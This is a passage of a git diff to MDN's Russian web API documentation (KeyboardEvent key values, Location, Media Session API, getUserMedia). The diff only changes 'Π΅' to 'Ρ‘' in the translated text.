- <td><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ (Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚) ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ ΠΈΠ»ΠΈ содСрТимоС, хранящССся Π² Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚ΠΎΠΌ слотС списка ΠΈΠ·Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ.</span></span></td>
+ <td><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ (Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚) ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ ΠΈΠ»ΠΈ содСрТимоС, хранящССся Π² Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚ΠΎΠΌ слотС списка ΠΈΠ·Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ.</span></span></td>
<td><code>VK_RECALL_FAVORITE_3</code></td>
<td></td>
<td></td>
@@ -2620,7 +2620,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
</tr>
<tr>
<td><code>"FavoriteStore3"</code></td>
- <td><span class="tlid-translation translation" lang="ru"><span title="">БохраняСт Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ ΠΈΠ»ΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚Ρ‹ΠΉ слот списка ΠΈΠ·Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ.</span></span></td>
+ <td><span class="tlid-translation translation" lang="ru"><span title="">БохраняСт Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ ΠΈΠ»ΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚Ρ‹ΠΉ слот списка ΠΈΠ·Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ.</span></span></td>
<td><code>VK_STORE_FAVORITE_3</code></td>
<td></td>
<td></td>
@@ -2805,7 +2805,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
</tr>
<tr>
<td><code>"NextUserProfile"</code></td>
- <td>ЦикличСски ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ сохранСнному ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Ссли эта функция поддСрТиваСтся ΠΈ сущСствуСт нСсколько ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ΠΉ.</td>
+ <td>ЦикличСски ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ сохранённому ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Ссли эта функция поддСрТиваСтся ΠΈ сущСствуСт нСсколько ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ΠΉ.</td>
<td><code>VK_USER</code></td>
<td></td>
<td></td>
@@ -2909,7 +2909,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
</tr>
<tr>
<td><code>"RfBypass"</code></td>
- <td><span class="tlid-translation translation" lang="ru"><span title="">Π’ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΈ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Ρ€Π΅ΠΆΠΈΠΌ пропуска радиочастотного (RF) Π²Ρ…ΠΎΠ΄Π°.</span> <span title="">Π’ Ρ€Π΅ΠΆΠΈΠΌΠ΅ пропуска Π Π§ Π²Ρ…ΠΎΠ΄Π½ΠΎΠΉ сигнал пСрСдаСтся нСпосрСдствСнно Π½Π° Π²Ρ‹Ρ…ΠΎΠ΄ Π Π§ Π±Π΅Π· ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈΠ»ΠΈ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ.</span></span></td>
+ <td><span class="tlid-translation translation" lang="ru"><span title="">Π’ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΈ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Ρ€Π΅ΠΆΠΈΠΌ пропуска радиочастотного (RF) Π²Ρ…ΠΎΠ΄Π°.</span> <span title="">Π’ Ρ€Π΅ΠΆΠΈΠΌΠ΅ пропуска Π Π§ Π²Ρ…ΠΎΠ΄Π½ΠΎΠΉ сигнал пСрСдаётся нСпосрСдствСнно Π½Π° Π²Ρ‹Ρ…ΠΎΠ΄ Π Π§ Π±Π΅Π· ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈΠ»ΠΈ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ.</span></span></td>
<td><code>VK_RF_BYPASS</code></td>
<td></td>
<td></td>
@@ -2990,7 +2990,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
</tr>
<tr>
<td><code>"Wink"</code></td>
- <td>ЗаставляСт устройство ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ сСбя ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΌΠΈΠ³Π°Π΅Ρ‚ свСтом, Π½Π° ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΎΠ΅ врСмя мСняСт ΡΡ€ΠΊΠΎΡΡ‚ΡŒ свСтовых ΠΈΠ½Π΄ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠ² ΠΈΠ»ΠΈ ΠΈΠ·Π΄Π°Π΅Ρ‚ Π·Π²ΡƒΠΊΠΎΠ²ΠΎΠΉ сигнал.</td>
+ <td>ЗаставляСт устройство ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ сСбя ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΌΠΈΠ³Π°Π΅Ρ‚ свСтом, Π½Π° ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΎΠ΅ врСмя мСняСт ΡΡ€ΠΊΠΎΡΡ‚ΡŒ свСтовых ΠΈΠ½Π΄ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠ² ΠΈΠ»ΠΈ ΠΈΠ·Π΄Π°Ρ‘Ρ‚ Π·Π²ΡƒΠΊΠΎΠ²ΠΎΠΉ сигнал.</td>
<td><code>VK_WINK</code></td>
<td></td>
<td></td>
@@ -3032,7 +3032,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
</tr>
<tr>
<td><code>"SpeechCorrectionList"</code> [1]</td>
- <td><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ список Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… исправлСний Π½Π΅Π²Π΅Ρ€Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ слова.</span></span></td>
+ <td><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ список Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… исправлСний Π½Π΅Π²Π΅Ρ€Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ слова.</span></span></td>
<td><code>APPCOMMAND_CORRECTION_LIST</code></td>
<td></td>
<td></td>
@@ -3081,7 +3081,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
</tr>
<tr>
<td><code>"New"</code> [1]</td>
- <td>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΈΠ»ΠΈ сообщСниС.</td>
+ <td>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΈΠ»ΠΈ сообщСниС.</td>
<td><code>APPCOMMAND_NEW</code></td>
<td></td>
<td><code>GDK_KEY_New</code> (0x1008FF68)<br>
@@ -3158,7 +3158,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
<h2 id="Клавиши_ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ">Клавиши ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ</h2>
-<p><span class="tlid-translation translation" lang="ru"><span title="">На Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π°Ρ… Π΅ΡΡ‚ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ клавиши для запуска ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… распространСнных ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Π½Π° Π½ΠΈΡ….</span> <span title="">ЗначСния клавиш для Π½ΠΈΡ… пСрСчислСны здСсь.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">На Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π°Ρ… Π΅ΡΡ‚ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ клавиши для запуска ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… распространённых ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Π½Π° Π½ΠΈΡ….</span> <span title="">ЗначСния клавиш для Π½ΠΈΡ… пСрСчислСны здСсь.</span></span></p>
<table class="standard-table">
<thead>
@@ -3442,7 +3442,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
</thead>
</table>
-<p>[1] Internet Explorer, Edge, ΠΈ Firefox (36 ΠΈ Ρ€Π°Π½Π΅Π΅) ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ <code>"SelectMedia"</code> вмСсто <code>"LaunchMediaPlayer"</code>. Firefox 37 ΠΈ Firefox 48 ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ <code>"MediaSelect"</code>. Firefox 49 <span class="tlid-translation translation" lang="ru"><span title="">Π±Ρ‹Π» ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ Π² соотвСтствии с послСднСй спСцификациСй ΠΈ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚</span></span> <code>"LaunchMediaPlayer"</code>.</p>
+<p>[1] Internet Explorer, Edge, ΠΈ Firefox (36 ΠΈ Ρ€Π°Π½Π΅Π΅) ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ <code>"SelectMedia"</code> вмСсто <code>"LaunchMediaPlayer"</code>. Firefox 37 ΠΈ Firefox 48 ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ <code>"MediaSelect"</code>. Firefox 49 <span class="tlid-translation translation" lang="ru"><span title="">Π±Ρ‹Π» ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½ Π² соотвСтствии с послСднСй спСцификациСй ΠΈ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚</span></span> <code>"LaunchMediaPlayer"</code>.</p>
<p>[2] Google Chrome 57 ΠΈ Ρ€Π°Π½Π½ΠΈΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ <code>"LaunchMyComputer"</code> вмСсто <code>"LaunchApplication1"</code>. Π‘ΠΌΠΎΡ‚Ρ€ΠΈ <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=612743">Chrome Bug 612743</a> для Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</p>
diff --git a/files/ru/web/api/localmediastream/index.html b/files/ru/web/api/localmediastream/index.html
index b5ca550abb..821224a3b1 100644
--- a/files/ru/web/api/localmediastream/index.html
+++ b/files/ru/web/api/localmediastream/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/LocalMediaStream
---
<div>{{APIRef("WebRTC")}} {{SeeCompatTable}}</div>
-<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ <strong><code>LocalMediaStream</code></strong><strong> </strong>прСдставляСт собой ΠΏΠΎΡ‚ΠΎΠΊ ΠΌΠ΅Π΄ΠΈΠ°-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΈΠ·Π²Π»Ρ‘Ρ‡Ρ‘Π½Π½Ρ‹ΠΉ ΠΈΠ· локального источника Π΄Π°Π½Π½Ρ‹Ρ…. Π­Ρ‚ΠΎΡ‚ интСрфСйс возвращаСтся ΠΈΠ·Β <code><a href="/en-US/docs/WebRTC/navigator.getUserMedia" title="/en-US/docs/WebRTC/navigator.getUserMedia">getUserMedia()</a></code>.</p>
+<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ <strong><code>LocalMediaStream</code></strong><strong> </strong>прСдставляСт собой ΠΏΠΎΡ‚ΠΎΠΊ ΠΌΠ΅Π΄ΠΈΠ°-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΈΠ·Π²Π»Π΅Ρ‡Ρ‘Π½Π½Ρ‹ΠΉ ΠΈΠ· локального источника Π΄Π°Π½Π½Ρ‹Ρ…. Π­Ρ‚ΠΎΡ‚ интСрфСйс возвращаСтся ΠΈΠ·Β <code><a href="/en-US/docs/WebRTC/navigator.getUserMedia" title="/en-US/docs/WebRTC/navigator.getUserMedia">getUserMedia()</a></code>.</p>
<h2 id="Methods">Methods</h2>
diff --git a/files/ru/web/api/location/index.html b/files/ru/web/api/location/index.html
index 470064d4b9..0183c895fd 100644
--- a/files/ru/web/api/location/index.html
+++ b/files/ru/web/api/location/index.html
@@ -60,7 +60,7 @@ translation_of: Web/API/Location
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<pre class="brush: js">// Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ создаСт ссылку ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΅Π΅ свойство href
+<pre class="brush: js">// Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ создаёт ссылку ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΅Ρ‘ свойство href
// ΠšΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Π°Ρ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π° - ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ document.location ΠΈΠ»ΠΈ window.location Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ URL
var url = document.createElement('a');
url.href = 'https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container';
diff --git a/files/ru/web/api/media_session_api/index.html b/files/ru/web/api/media_session_api/index.html
index aeaf490463..2d9980c86c 100644
--- a/files/ru/web/api/media_session_api/index.html
+++ b/files/ru/web/api/media_session_api/index.html
@@ -48,7 +48,7 @@ translation_of: Web/API/Media_Session_API
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<p>Π”Π°Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ дСмонстрируСт Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ доступности Media Session API. Π’Π°ΠΊΠΆΠ΅, ΠΎΠ½ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ опрСдСляСт собствСнныС ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий:</p>
+<p>Π”Π°Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ дСмонстрируСт Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ доступности Media Session API. Π’Π°ΠΊΠΆΠ΅, ΠΎΠ½ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ опрСдСляСт собствСнныС ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий:</p>
<pre class="brush: js notranslate">if ('mediaSession' in navigator) {
navigator.mediaSession.metadata = new MediaMetadata({
@@ -73,7 +73,7 @@ translation_of: Web/API/Media_Session_API
navigator.mediaSession.setActionHandler('nexttrack', function() { /* Code excerpted. */ });
}</pre>
-<p>НСкоторыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ автовоспроизвСдСниС мСдиаэлСмСнтов Π½Π° ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройствах ΠΈ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ дСйствий ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ для Π½Π°Ρ‡Π°Π»Π° воспроизвСдСния. Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события <code>pointerup</code> для ΠΊΠ½ΠΎΠΏΠΊΠΈ воспроизвСдСния Π½Π° страницС, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°Ρ‡Π½Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ с мСдиасСссиСй:</p>
+<p>НСкоторыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ автовоспроизвСдСниС мСдиаэлСмСнтов Π½Π° ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройствах ΠΈ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ дСйствий ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ для Π½Π°Ρ‡Π°Π»Π° воспроизвСдСния. Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события <code>pointerup</code> для ΠΊΠ½ΠΎΠΏΠΊΠΈ воспроизвСдСния Π½Π° страницС, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°Ρ‡Π½Ρ‘Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ с мСдиасСссиСй:</p>
<pre class="brush: js notranslate">playButton.addEventListener('pointerup', function(event) {
var audio = document.querySelector('audio');
diff --git a/files/ru/web/api/mediadevices/getusermedia/index.html b/files/ru/web/api/mediadevices/getusermedia/index.html
index 4e71c23681..9d53d6f242 100644
--- a/files/ru/web/api/mediadevices/getusermedia/index.html
+++ b/files/ru/web/api/mediadevices/getusermedia/index.html
@@ -59,7 +59,7 @@ translation_of: Web/API/MediaDevices/getUserMedia
<pre class="brush: js notranslate">{ audio: true, video: true }</pre>
- <p>Если опрСдСляСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code> для ΠΌΠ΅Π΄ΠΈΠ°Ρ‚ΠΈΠΏΠ°, Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΠΎΡ‚ΠΎΠΊ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π² сСбС Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΌΠ΅Π΄ΠΈΠ°Ρ‚ΠΈΠΏ. Если Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Ρ‚ΠΈΠΏΠΎΠ² Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² запрос, Π²Ρ‹Π·ΠΎΠ² ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β Β <code>getUserMedia()</code>Β ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ошибкС.</p>
+ <p>Если опрСдСляСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code> для ΠΌΠ΅Π΄ΠΈΠ°Ρ‚ΠΈΠΏΠ°, Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΠΎΡ‚ΠΎΠΊ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π² сСбС Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΌΠ΅Π΄ΠΈΠ°Ρ‚ΠΈΠΏ. Если Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Ρ‚ΠΈΠΏΠΎΠ² Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² запрос, Π²Ρ‹Π·ΠΎΠ² ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β Β <code>getUserMedia()</code>Β ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ошибкС.</p>
<p>Если полная информация ΠΎ ΠΊΠ°ΠΌΠ΅Ρ€Π°Ρ… ΠΈ ΠΌΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½Π°Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ нСдоступна ΠΏΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ доступ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΌ Π΅ΠΌΡƒ функциям, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ условия. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ Π²ΠΈΠ΄Π΅ΠΎΡ‚Ρ€Π΅ΠΊ ΡΒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌΒ ΠΊΠ°ΠΌΠ΅Ρ€Ρ‹ 1280x720 пиксСлСй:</p>
@@ -80,7 +80,7 @@ translation_of: Web/API/MediaDevices/getUserMedia
}
}</pre>
- <p>Если ΠΊΠ°ΠΌΠ΅Ρ€Π° Π½Π΅ Π² состоянии ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ минимальноС Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ высокоС, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ промис Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΌΠ΅Π½Π΅Π½ с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ <code>OverconstrainedError</code>, ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚ Π΄ΠΈΠ°Π»ΠΎΠ³Π° запроса Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ.</p>
+ <p>Если ΠΊΠ°ΠΌΠ΅Ρ€Π° Π½Π΅ Π² состоянии ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ минимальноС Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ высокоС, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ промис Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΌΠ΅Π½Ρ‘Π½ с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ <code>OverconstrainedError</code>, ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚ Π΄ΠΈΠ°Π»ΠΎΠ³Π° запроса Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ.</p>
